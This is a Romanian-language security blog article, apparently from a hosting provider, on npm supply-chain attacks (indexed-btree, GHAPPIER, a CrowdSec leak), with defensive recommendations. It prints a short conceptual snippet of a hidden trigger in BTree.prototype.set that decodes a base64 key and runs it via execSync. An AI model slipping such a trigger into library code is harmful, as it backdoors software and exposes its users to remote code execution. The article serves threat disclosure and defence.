Atacul npm indexed-btree: Cum un pachet malițios a ocolit protecțiile de instalare și a ajuns la 2 milioane de descărcări săptămânale

Ecosistemul npm continuă să fie țintă principală a actorilor de amenințare care exploatează încrederea dezvoltatorilor în pachetele open source. Cel mai recent incident — pachetul indexed-btree — demonstrează o evoluție sofisticată: malware-ul nu mai folosește scripturile preinstall sau postinstall pe care scannerii le monitorizează, ci ascunde trigger-ul malițios direct în codul prototipal JavaScript, într-o metodă BTree.prototype.set. Acest articol analizează tehnica de bypass, contextul mai larg al atacurilor pe lanțul de furnizare (supply chain) și măsurile concrete pe care echipele DevOps și administratorii Linux le pot implementa astăzi pe serverele dedicate și instanțele cloud.

Pentru mai multe detalii despre această parte a subiectului, vezi Bitwarden CLI compromis printr-un atac supply chain – Ce s-a întâmplat și ce trebuie să faci chiar acum (23 aprilie 2026).

Anatomia atacului indexed-btree: prototype pollution ca vector de execuție

Cercetătorii Checkmarx au descoperit că indexed-btree — un pachet care imită legitimul sorted-btree — a acumulat 2 milioane de descărcări săptămânale înainte de a fi detectat. Diferența fundamentală față de campanii anterioare (precum event-stream sau ua-parser-js) constă în absența totală a scripturilor install din package.json. În locul acestora, codul malițios este încorporat în implementarea metodei set a prototipului BTree:

Ghid ServerSpan relevant: Cum se instalează Node.js pe Ubuntu 24.04: Ghid complet.

// Simplificare conceptuală a tehnicii
BTree.prototype.set = function(key, value) {
  // Logică legitimă de B-tree...
  if (typeof key === 'string' && key.startsWith('__payload__')) {
    // Stage 1: descarcă și execută payload-ul real
    require('child_process').execSync(Buffer.from(key.split('__payload__')[1], 'base64').toString());
  }
  return originalSet.call(this, key, value);
};

Atacatorul a creat un cont GitHub cu istoric de commit-uri aparent legitime, publicând versiuni regulate pentru a construie credibilitate. Această abordare evită complet detecția bazată pe scripturi de instalare — protecția pe care npm o a întărit în 2023-2024 prin avertizări vizibile în CLI și blocări automate pentru pachete suspecte.

Pentru administratori care gestionează infrastructură critică pe servere dedicate în România, implicarea este clară: scanarea exclusivă a package.json pentru scripts nu mai este suficientă. Analiza statică a codului sursă (SAST) și monitorizarea runtime aapelurilor child_process/eval devin obligatorii.

Abuzul mecanismului Trusted Publishing: cazul GHAPPIER

Paralel, o a două campanie — GHAPPIER — a exploatat încrederea în sistemul de trusted publishing al npm (OIDC cu GitHub Actions). Conform rapoartelor MSSP Alert și CloudSEK, contul de maintainer al pachetului @dforge-core/dforge-mcp a fost compromis pentru aproximativ 105 minute. În această fereastră, atacatorul a publicat versiunea 0.2.21 care includea un loader malițios de o singură linie, inițiând un lanț de patru etape care culmina cu un remote shell auto-ștergător.

Mecanismul OIDC a generat o atestare care părea legitimă, deoarece provenea dintr-un workflow GitHub Actions autentic. Trusted publishing nu validează conținutul pachetului — validează doar proveniența build-ului. Aceasta este o distincție critică pe care multe echipe DevOps o ignoră.

Similaritățile cu campania PolinRider (atribuită unor cercetători Coreei de Nord) sugerează un actor sofisticat, capabil să compromită credențiale de maintainer prin extensii browser malițioase sau pachete troianizate — nu prin vulnerabilități în platforma npm per se.

Impactul cascadă: CrowdSec și atacul TanStack din mai 2026

Incidentul CrowdSec confirmat în septembrie 2026 ilustrează impactul pe termen lung al atacurilor pe lanțul de furnizare. Aproximativ 300 de repository-uri (din care ~170 private) au fost exfiltrate ca urmare a compromiterii unei chei API expuse printr-un pachet TanStack malițios publicat de grupul TeamPCP (84 artefacte malițioase în 42 de pachete).

CrowdSec a declarat că nu au fost expuse credențiale de clienți, dar codul sursă al consolei SaaS, rutinelor AWS și a conectorilor a fost accesat. Deși codul „nu poate fi folosit din afara contextului”, historia arată că codul sursă expus facilităză reconnaissance, identificarea vulnerabilitărilor logice și dezvoltarea exploit-urilor targetate.

Lecția pentru furnizorii de hosting și servicii cloud: chiar dacă infrastructura propriu-zisă nu este compromisă direct, dependențele transitive pot expune secrete, logica de business și arhitectura internă. Pentru clienții Serverspan care rulează aplicații Node.js în producție, auditarea continue a grafurilor de dependențe nu este opțională.

De ce protecțiile actuale eșuează și ce urmează

npm a implementat mai multe apărare: trusted publishing, provenance attestations, avertizări npm audit, și blocarea pachetelor cu scripturi install suspecte. Totuși, indexed-btree demonstrează trei puncte slabe fundamentale:

1. Execuția la runtime, nu la instalare — codul rulează când aplicația apelează metoda set, nu la npm install. Scannerii CI/CD care rulează doar la build o perd.
2. Mimetismul pachetelor legitime — numele indexed-btree este suficient de apropiat de sorted-btree pentru a evita suspiciunea vizuală; typosquatting la nivel de branding, nu doar de tastare.
3. Compromiterea conturilor maintainer — trusted publishing devine vector de atac când credențialele sunt furate (browser extensions, malware pe stația de lucru, phishing).

Tendința pentru 2026-2027: atacatorii vor migra spre tehnici „living off the land” — folosind API-uri legitime (vm.runInNewContext, Function constructor, prototype manipulation) care nu declanșează nicio regulă de semnătură statică.

Pași practici de implementat azi

1. Activează npm audit signatures și verifică atestările de proveniență pentru fiecare dependență nouă: npm install --verify-signatures.
2. Pin-uiește versiunile exacte în package-lock.json / pnpm-lock.yaml și folosește npm ci exclusiv în CI/CD — niciodată npm install pe producție.
3. Implementează SAST specializat Node.js (ex: Semgrep cu ruleset-ul nodejs, CodeQL queries custom) care analizează manipularea prototipurilor și apelurile dinamice.
4. Monitorizează runtime cu eBPF / Falco pe serverele de producție: alertă la execve din procese Node.js, conexiuni de rețea neașteptate, citire de fișiere sensibile.
5. Rotește cheile API și token-urile CI/CD lunar; folosește short-lived tokens (OIDC) în locul cheilor statice lung-termen.
6. Auditează conturile maintainer cu acces la pachete critice: 2FA obligatoriu, revizuire acces trimestrială, eliminare conturi inactive.
7. Folosește registrii privati cu proxy de securitate (ex: JFrog Artifactory, Sonatype Nexus, GitHub Packages cu allowlist) — evită registry.npmjs.org direct în producție.
8. **Implementează Software Bill of Materials (SBOM)** generat la fiecare build (@cyclonedx/bom sau syft) și corelază cu baze de date de vulnerabilități (OSV, NVD, GHSA).

Concluzie

Atacul indexed-btree nu este un incident izolat — este semnalul că apărarea perimetrală (scanare la instalare) a fost depășită. Actorii de amenință mutatează execuția malițioasă în logica de business a pachetelor, folosind mecanisme legitime ale limbajului (prototypes, getters/setters, Proxy) pentru a se camufla. Pentru organizațiile care rulează infrastructură critică — fie pe servere dedicate fizice, fie pe instanțe virtuale în cloud — strategia trebuie să migreze de la „blochează scripturile install” la „monitorizează comportamentul la runtime și validează proveniența fiecărui artefact”.

Investiția în supply chain security nu mai este un nice-to-have pentru echipele DevOps mature; este condiție sine qua non pentru menținerea integrității sistemelor în producție. Începe astăzi cu auditul dependențelor transitive și implementarea monitorizării runtime — înainte ca următorul pachet „inofensiv” să ajungă în node_modules-ul tău.